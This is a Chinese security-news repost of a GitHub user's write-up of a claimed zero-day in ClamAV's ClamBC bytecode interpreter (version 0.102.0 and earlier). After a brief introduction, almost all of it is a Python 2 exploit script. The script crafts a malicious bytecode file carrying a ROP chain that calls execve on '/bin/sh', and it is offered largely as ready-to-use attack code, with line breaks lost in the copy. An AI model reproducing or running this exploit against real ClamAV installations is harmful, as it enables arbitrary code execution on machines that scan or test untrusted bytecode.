编译:奇安信代码卫士团队
GitHub用户 momika233 公开了免费开源杀毒软件 ClamAV 当前版本(0.102.0及以下版本)的0day exploit 详情。他发布的全文如下:
2002年,ClamAV作为基于 UNIX系统的解决方案出现,它构建于基于签名的检测方法且目前仍在开发过程中。当时,LibClamAV 仅保留2个二进制文件,目前已扩展至5个。
ClamBC 异常复杂,用作字节码的测试工具,主要验证和解释其中的代码,它提供的信息并未表明和解释其内部机制的存在。
由于源代码可用且缺乏文档,本文应运而生。本文的目的并非提升权限,仅仅是作为一种体验,以及体会挑战带来的乐趣。
由于分析需要花费大量时间,因此对引擎的剖析迫在眉睫,同时分析极大地拓宽了我们对其内部结构的认识。尝试和出错的过程带来了有价值的信息、导致潜在漏洞的崩溃,有效地增加了攻击面,扩大了被攻击的可能性。
Exploit 代码如下:
> ./exploit.py> clambc --debug exploit[SNIP]$'''
names = ['test1', 'read', 'write', 'seek', 'setvirusname', 'debug_print_str', 'debug_print_uint', 'disasm_x86', 'trace_directory', 'trace_scope', 'trace_source', 'trace_op', 'trace_value', 'trace_ptr', 'pe_rawaddr', 'file_find', 'file_byteat', 'malloc', 'test2', 'get_pe_section', 'fill_buffer', 'extract_new', 'read_number', 'hashset_new', 'hashset_add', 'hashset_remove', 'hashset_contains', 'hashset_done', 'hashset_empty', 'buffer_pipe_new', 'buffer_pipe_new_fromfile', 'buffer_pipe_read_avail', 'buffer_pipe_read_get', 'buffer_pipe_read_stopped', 'buffer_pipe_write_avail', 'buffer_pipe_write_get', 'buffer_pipe_write_stopped', 'buffer_pipe_done', 'inflate_init', 'inflate_process', 'inflate_done', 'bytecode_rt_error', 'jsnorm_init', 'jsnorm_process', 'jsnorm_done', 'ilog2', 'ipow', 'iexp', 'isin', 'icos', 'memstr', 'hex2ui', 'atoi', 'debug_print_str_start', 'debug_print_str_nonl', 'entropy_buffer', 'map_new', 'map_addkey', 'map_setvalue', 'map_remove', 'map_find', 'map_getvaluesize', 'map_getvalue', 'map_done', 'file_find_limit', 'engine_functionality_level', 'engine_dconf_level', 'engine_scan_options', 'engine_db_options', 'extract_set_container', 'input_switch', 'get_environment', 'disable_bytecode_if', 'disable_jit_if', 'version_compare', 'check_platform', 'pdf_get_obj_num', 'pdf_get_flags', 'pdf_set_flags', 'pdf_lookupobj', 'pdf_getobjsize', 'pdf_getobj', 'pdf_getobjid', 'pdf_getobjflags', 'pdf_setobjflags', 'pdf_get_offset', 'pdf_get_phase', 'pdf_get_dumpedobjid', 'matchicon', 'running_on_jit', 'get_file_reliability', 'json_is_active', 'json_get_object', 'json_get_type', 'json_get_array_length', 'json_get_array_idx', 'json_get_string_length', 'json_get_string', 'json_get_boolean', 'json_get_int']o = names.index('buffer_pipe_new') + 1k = names.index('buffer_pipe_write_get') + 1l = names.index('debug_print_str') + 1m = names.index('malloc') + 1
c = 0for name in names: names[c] = name.encode('hex') c += 1
def cc(n): v = chr(n + 0x60) return v
def cs(s): t = '' for i in xrange(0, len(s), 2): u = int(s[i], 16) l = int(s[i + 1], 16) for i in [u, l]: if((i >= 0 and i <= 0xf)): continue print 'Invalid string.' exit(0) t += cc(l) + cc(u) return t def wn(n, fixed=0, size=0): if n is 0: return cc(0)
t = '' c = hex(n)[2:] l = len(c) if (l % 2) is 1: c = "0" + c r = c[::-1] if(l <= 0x10): if not fixed: t = cc(l) i = 0 while i < l: t += cc(int(r[i], 16)) i += 1 else: print 'Invalid number.' exit(0) if size != 0: t = t.ljust(size, '`') return t
def ws(s): t = '|' e = s[-2:] if(e != '00'): print '[+] Adding null-byte at the end of the string..' s += '00' l = (len(s) / 2) if (len(s) % 2) is 1: print 'Invalid string length.' exit(0) t += wn(l) t += cs(s) return t def wt(t): if t < (num_types + 0x45): v = wn(t) return v else: print 'Invalid type.' exit(0)
def initialize_header(minfunc=0, maxfunc=0, num_func=0, linelength=4096): global flimit, num_types if maxfunc is 0: maxfunc = flimit if(minfunc > flimit or maxfunc < flimit): print 'Invalid minfunc and/or maxfunc.' exit(0) header = "ClamBC" header += wn(0x07) # formatlevel(6, 7) header += wn(0x88888888) # timestamp header += ws("416c69656e") # sigmaker header += wn(0x00) # targetExclude header += wn(0x00) # kind header += wn(minfunc) # minfunc header += wn(maxfunc) # maxfunc header += wn(0x00) # maxresource header += ws("00") # compiler header += wn(num_types + 5) # num_types header += wn(num_func) # num_func header += wn(0x53e5493e9f3d1c30) # magic1 header += wn(0x2a, 1) # magic2 header += ':' header += str(linelength) header += chr(0x0a)*2 return header
def prepare_types(contained, type=1, nume=1): global num_types types = "T" types += wn(0x45, 1) # start_tid(69) for i in range(0, num_types): types += wn(type[i], 1) # kind if type[i] in [1, 2, 3]: # Function, PackedStruct, Struct types += wn(nume[i]) # numElements for j in range(0, nume[i]): types += wt(contained[i][j]) # containedTypes[j] else: # Array, Pointer if type[i] != 5: types += wn(nume[i]) # numElements types += wt(contained[i][0]) # containedTypes[0] types += chr(0x0a) return types def prepare_apis(calls=1): global maxapi, names, ids, tids
if(calls > max_api): print 'Invalid number of calls.' exit(0) apis = 'E' apis += wn(max_api) # maxapi apis += wn(calls) # calls(<= maxapi) for i in range(0, calls): apis += wn(ids[i]) # id apis += wn(tids[i]) # tid apis += ws(names[ids[i] - 1]) # name apis += chr(0x0a) return apis def prepare_globals(numglobals=1): global max_globals, type, gval globals = 'G' globals += wn(max_globals) # maxglobals globals += wn(numglobals) # numglobals for i in range(0, numglobals): globals += wt(type[i]) # type for j in gval[i]: # subcomponents n = wn(j) globals += chr(ord(n[0]) - 0x20) globals += n[1:] globals += cc(0) globals += chr(0x0a) return globals
def prepare_function_header(numi, numbb, numa=1, numl=0): global allo if numa > 0xf: print 'Invalid number of arguments.' exit(0)
fheader = 'A' fheader += wn(numa, 1) # numArgs fheader += wt(0x20) # returnType fheader += 'L' fheader += wn(numl) # numLocals for i in range(0, numa + numl): fheader += wn(type[i]) # types fheader += wn(allo[i], 1) # | 0x8000 fheader += 'F' fheader += wn(numi) # numInsts fheader += wn(numbb) # numBB fheader += chr(0x0a) return fheader
flimit = 93max_api = 100max_globals = 32773
num_types = 6
# Header parsingw = initialize_header(num_func=0x1)# Types parsingcont = [[0x8], [0x45], [0x20, 0x20], [0x41, 0x20, 0x20], [0x20, 0x41, 0x20], [0x41, 0x20]]type = [0x4, 0x5, 0x1, 0x1, 0x1, 0x1]num = [0x8, 0x1, 0x2, 0x3, 0x3, 0x2]w += prepare_types(cont, type, num)# API parsingids = [o, k, l, m]tids = [71, 72, 73, 74]w += prepare_apis(0x4)'''# crash @ id=0'''# Globals parsingtype = [0x45]gval = [[0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41]]w += prepare_globals(0x1)# Function header parsingtype = [0x45, 0x41, 0x40, 0x40, 0x40, 0x40, 0x20]allo = [ 1, 0, 0, 0, 0, 0, 0]w += prepare_function_header(35, 0x1, 0x0, 0x7)# BB parsingp = 'B'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x0)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += '@d'
# STORE (0x0068732f6e69622f(L=8) -> ([Var #1]))p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += 'Nobbfifnfobcghfh'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x360)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'C`fcd'
# LOAD Var #2 = ([Var #1])p += wn(0x40)p += wn(0x2)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #2 -= 0xd260p += wn(0x40)p += wn(0x2)p += wn(0x2, 1, 2)p += wn(0x2)p += 'D`fbmd'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`ad'
# LOAD Var #3 = ([Var #1])p += wn(0x40)p += wn(0x3)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #3 -= 0x10p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += 'B`ad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`cd'
# LOAD Var #4 = ([Var #1])p += wn(0x40)p += wn(0x4)p += wn(0x27, 1)p += wn(0x1)
# SUB Var #4 -= 0x190p += wn(0x40)p += wn(0x4)p += wn(0x2, 1, 2)p += wn(0x4)p += 'C`iad'
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x38)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhcd'
# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x48)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhdd'
# ADD Var #3 += 0x3p += wn(0x40)p += wn(0x3)p += wn(0x2, 1, 2)p += wn(0x3)p += 'Acd'
# STORE (Var #3 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x3)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x28)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhbd'
# ADD Var #5 += Var #2 + 0xcbdap += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Djmkld'
# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x20)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`bd'
# STORE (Var #4 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x4)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x18)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Bhad'
# ADD Var #5 += Var #2 + 0x99dcp += wn(0x40)p += wn(0x5)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Dlmiid'
# STORE (Var #5 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x5)p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x10)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`ad'
# STORE (0x3b -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += 'Bkcd'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x30)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`cd'
# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += '@d'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x40)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'B`dd'
# STORE (0x0 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += '@d'p += wn(0x1)
# GEPZ Var #1 = ((Var #0(Stack) Pointer) + 0x8)p += wn(0x0)p += wn(0x1)p += wn(0x24, 1)p += wn(0x46)p += wn(0x0)p += 'Ahd'
# ADD Var #2 += 0x6d68p += wn(0x40)p += wn(0x2)p += wn(0x1, 1, 2)p += wn(0x2)p += 'Dhfmfd'
# STORE (Var #2 -> Var #1)p += wn(0x40)p += wn(0x0)p += wn(0x26, 1)p += wn(0x2)p += wn(0x1)
'''0x99dc : pop rdi ; ret0xcbda : pop rsi ; ret0x6d68 : pop rax ; retVar #2 = text_baseVar #3 = syscall (+3: pop rdx; ret)Var #4 = "/bin/sh\x00"pop rax; ret; o 0x859 o 0x10pop rdi; ret; o 0x18sh; address o 0x20pop rsi; ret; o 0x280x0 o 0x30pop rdx; ret; o 0x380x0 o 0x40syscall o 0x48'''
# COPY Var #6 = (0x5a90050f(o`e``ije))p += wn(0x20)p += wn(0x0)p += wn(0x22, 1)p += 'Ho`e``ijeh'p += wn(0x6)
p += 'T'p += wn(0x13, 1)p += wn(0x20)p += wn(0x6)p += 'E'
w += pf = open("exploit", "w")f.write(w)f.close()
print '[+] Generated payload'
'''
本文由奇安信代码卫士编译,不代表奇安信观点,转载请注明“转自奇安信代码卫士 www.codesafe.cn”